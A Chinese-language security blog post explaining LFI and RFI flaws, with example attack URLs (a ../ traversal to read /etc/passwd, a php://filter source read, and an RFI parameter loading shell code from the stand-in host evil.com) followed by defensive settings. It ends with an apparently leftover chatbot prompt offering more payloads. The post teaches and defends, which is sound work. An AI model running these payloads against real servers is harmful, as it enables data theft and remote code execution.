iT邦幫忙

2025 iThome 鐵人賽

DAY 6
0
Security

我的30天資安攻之路防身修練:實戰×工具×AI全紀錄系列 第 6

【DAY6】LFI/RFI檔案包含漏洞—測試與防守全攻略

  • 分享至 

  • xImage
  •  

一、到底什麼是LFI、RFI?

LFI(Local File Inclusion)就是「本地檔案包含」,RFI(Remote File Inclusion)則是「遠程檔案包含」。
簡單說,它們都是利用網站原本用來載入檔案的功能來搞事情,只不過LFI是讀自己的伺服器上的檔案,RFI則是直接把外部網站的檔案塞進來執行。

常見狀況就是網站有個參數讓你決定要載入哪個檔案,像這樣:

http://example.com/index.php?page=header.php

如果工程師沒把輸入檢查做好,攻擊者就可以把參數改成:

http://example.com/index.php?page=../../../../etc/passwd

這樣就偷偷讀到了Linux很重要的帳號檔案 /etc/passwd,資料瞬間外洩!


二、動手測試LFI/RFI漏洞怎麼做?

LFI測試基本招式

  1. 找URL參數有載入檔案的地方,像 ?page=file1.php
  2. 嘗試目錄穿越(../),例如 ?page=../../../../etc/passwd
  3. 如果PHP有 filter 功能,可用 php://filter/read=convert.base64-encode/resource=檔案名 來讀原始碼。

RFI進攻方法

  1. 如果後端語言設定允許載入遠端檔案(PHP的 allow_url_include 開啟),可將參數改成:
    ?page=http://evil.com/shell.txt
    
  2. 只要那個遠端檔案內容是可執行的程式碼,伺服器很有可能直接執行,危險到爆!

三、怎麼保護伺服器不被玩殘?

這些漏洞有一個共通點:都跟「輸入沒檢查」有關。

最重要防護措施

  • 用白名單,只有允許的檔案能被載入(絕對不要讓使用者亂填)。
  • PHP等語言設定要用 open_basedir、關掉 allow_url_include,鎖死檔案存取範圍。
  • 伺服器與web程式的使用者權限越低越好,能讀能寫的檔案愈少愈好。
  • 檢查所有路徑參數,譬如強制擴展名.must為.php,不讓人亂變。
  • 平常要常更新套件與程式,既有漏洞早點補起來。

四、實務小故事

市面上很多弱點測試機(像DVWA、bWAPP)都有LFI、RFI題目。
實際操作你會發現,一個小小輸入框或參數沒檢查,攻擊者就能翻箱倒櫃把伺服器裡的東西抓出來,甚至用RFI遠端執行一大堆邪惡指令!

所以,平常開發,寧願讓用戶抱怨"只能選這幾個檔案"也不要省那點麻煩,安全真的很重要!
保護好你的檔案,就是保護你的網站和用戶。


這樣寫是不是更容易懂?有需要實際payload和測試步驟補充嗎?
還是想要加上DVWA實機練習也可以喔!

參考:[2][4][1][3]

來源
[1] LFI、RFI、PHP封装协议安全问题学习 - 博客园 https://www.cnblogs.com/LittleHann/p/3665062.html
[2] 本地文件包含漏洞 - iT 邦幫忙::一起幫忙解決難題,拯救IT 人的一天 https://ithelp.ithome.com.tw/articles/10160602
[3] Local File Inclusion (LFI) 練習– SecTools.tw 2.0 https://sectools.tw/archives/207
[4] DVWA(Damn Vulnerable Web Application)- File Inclusion https://lonelysec.com/dvwa%EF%BC%88damn-vulnerable-web-application%EF%BC%89-file-inclusion/
[5] Dvwa漏洞之local file inclusion 本地文件包含原创 - CSDN博客 https://blog.csdn.net/quandaquan/article/details/124081832
[6] 新手渗透测试训练营——文件上传与文件包含 - Freebuf https://www.freebuf.com/articles/network/185015.html
[7] 滲透測試重新打底(3.5)--論Web入侵之File inclusion漏洞 - PT Note https://pt-note.coderbridge.io/2023/09/22/oscp-3-5-LFI-and-RFI/
[8] web渗透:文件包含漏洞原创 - CSDN博客 https://blog.csdn.net/weixin_68416970/article/details/141648923


上一篇
【Day5】安全日誌用OWASP ZAP攔截蝦皮Token:從框架設定環境到Token大解析
下一篇
第七天:密碼爆破 & 釣魚攻擊雙重實戰
系列文
我的30天資安攻之路防身修練:實戰×工具×AI全紀錄8
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言